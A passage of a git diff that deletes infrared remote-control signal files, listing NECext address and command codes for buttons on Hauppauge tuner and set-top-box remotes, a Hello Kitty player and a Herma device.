NECext -address: 0B 00 00 00 -command: B4 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: BA 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: BC 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: C2 00 00 00 -# -name: CROSS -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: C7 00 00 00 -# -name: CHAPTER_- -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: D2 00 00 00 -# -name: SCAN_- -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: D4 00 00 00 -# -name: SLOW_- -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: DA 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: DC 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: E2 00 00 00 -# -name: CHAPTER_+ -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: EA 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: F4 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: FC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_DSR-0095/29,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_DSR-0095/29,-1.ir deleted file mode 100644 index 6d92bdcb1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_DSR-0095/29,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 09 00 00 00 -# -name: info -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 0D 00 00 00 -# -name: dotcc -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 0E 00 00 00 -# -name: vol+ -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 10 00 00 00 -# -name: vol- -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 11 00 00 00 -# -name: jump -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 12 00 00 00 -# -name: up -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 14 00 00 00 -# -name: down -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 15 00 00 00 -# -name: left -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 16 00 00 00 -# -name: right -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 17 00 00 00 -# -name: choice -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 1B 00 00 00 -# -name: live -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 1C 00 00 00 -# -name: redo -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 1E 00 00 00 -# -name: exit -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 1F 00 00 00 -# -name: chanup -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 20 00 00 00 -# -name: chandown -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 21 00 00 00 -# -name: undo -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 24 00 00 00 -# -name: ok -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 25 00 00 00 -# -name: enter -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 25 00 00 00 -# -name: pause -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 30 00 00 00 -# -name: rewind -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 32 00 00 00 -# -name: forward -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 34 00 00 00 -# -name: play -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 35 00 00 00 -# -name: stop -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 36 00 00 00 -# -name: stop -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 37 00 00 00 -# -name: home -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 3B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_MVP/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_MVP/3,-1.ir deleted file mode 100644 index e23e208f5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_MVP/3,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 09 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0B 00 00 00 -# -name: KEY_FN_1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 10 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 11 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 24 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 29 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 2E 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 30 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 32 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 37 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 38 00 00 00 -# -name: KEY_GOTO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 3B 00 00 00 -# -name: KEY_FN_2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 3C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_R808/30,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_R808/30,-1.ir deleted file mode 100644 index 0b6ca124b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_R808/30,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 09 00 00 00 -# -name: Timers -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 0A 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 0B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 0D 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 14 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 15 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 16 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 17 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 1F 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 1F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 21 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 25 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 29 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 2E 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 30 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 30 00 00 00 -# -name: FastRwd -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 32 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 37 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 37 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 38 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR-950Q/29,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR-950Q/29,-1.ir deleted file mode 100644 index 85c67e89c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR-950Q/29,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 09 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 0A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 12 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 14 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 15 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 16 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 17 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 1C 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 1E 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 1F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 21 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 24 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 25 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 30 00 00 00 -# -name: FastRewind -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 32 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 37 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 3B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR/4,15.ir deleted file mode 100644 index 51b8c95f5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR/4,15.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 09 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0A 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0B 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0C 00 00 00 -# -name: WINButton -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0D 00 00 00 -# -name: VolumeMute -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0E 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0F 00 00 00 -# -name: VolumeUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 10 00 00 00 -# -name: VolumeDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 11 00 00 00 -# -name: ChannelUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 12 00 00 00 -# -name: ChannelDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 13 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 14 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 15 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 16 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 17 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 18 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 19 00 00 00 -# -name: ChapterNEXT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1A 00 00 00 -# -name: ChapterPREV -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1B 00 00 00 -# -name: # -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1C 00 00 00 -# -name: * -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1D 00 00 00 -# -name: ArrowsUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1E 00 00 00 -# -name: ArrowsDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1F 00 00 00 -# -name: ArrowsLEFT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 20 00 00 00 -# -name: ArrowsRIGHT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 21 00 00 00 -# -name: ArrowsOK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 22 00 00 00 -# -name: INFO-Back -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 23 00 00 00 -# -name: MusicButton -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 24 00 00 00 -# -name: RadioButton -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 25 00 00 00 -# -name: PicturesButton -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 26 00 00 00 -# -name: TVButton -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 48 00 00 00 -# -name: TextButton -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5A 00 00 00 -# -name: ORANGE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5B 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5C 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5D 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_hauppauge-stb/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_hauppauge-stb/5,-1.ir deleted file mode 100644 index 44e0f4e94..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_hauppauge-stb/5,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0A 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0D 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0E 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 10 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 11 00 00 00 -# -name: Zap -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 12 00 00 00 -# -name: KEY_ESC -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 13 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 14 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 15 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 16 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 17 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 18 00 00 00 -# -name: KEY_M -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 19 00 00 00 -# -name: TV/Radio -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hello Kitty/Unknown_Kitty/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hello Kitty/Unknown_Kitty/0,-1.ir deleted file mode 100644 index 7ff987a22..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hello Kitty/Unknown_Kitty/0,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 80 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 81 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 82 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 83 00 00 00 -# -name: title-return -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 84 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 86 00 00 00 -# -name: rev -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 88 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 8C 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 8D 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 8F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 90 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 91 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 92 00 00 00 -# -name: enter-play -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 93 00 00 00 -# -name: repeatAB -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 94 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 96 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C0 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C1 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C2 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C4 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C5 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C6 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C7 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C8 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C9 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: CC 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: CD 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: CE 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: D0 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: D1 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: D2 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: D3 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: D7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Herma/Dipper/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Herma/Dipper/5,-1.ir deleted file mode 100644 index dc5f231fd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Herma/Dipper/5,-1.ir +++ /dev/null @@ -1,746 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OPEN_52 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: OPEN_54 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: OPEN_50 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: CLOSE_56 -type: parsed 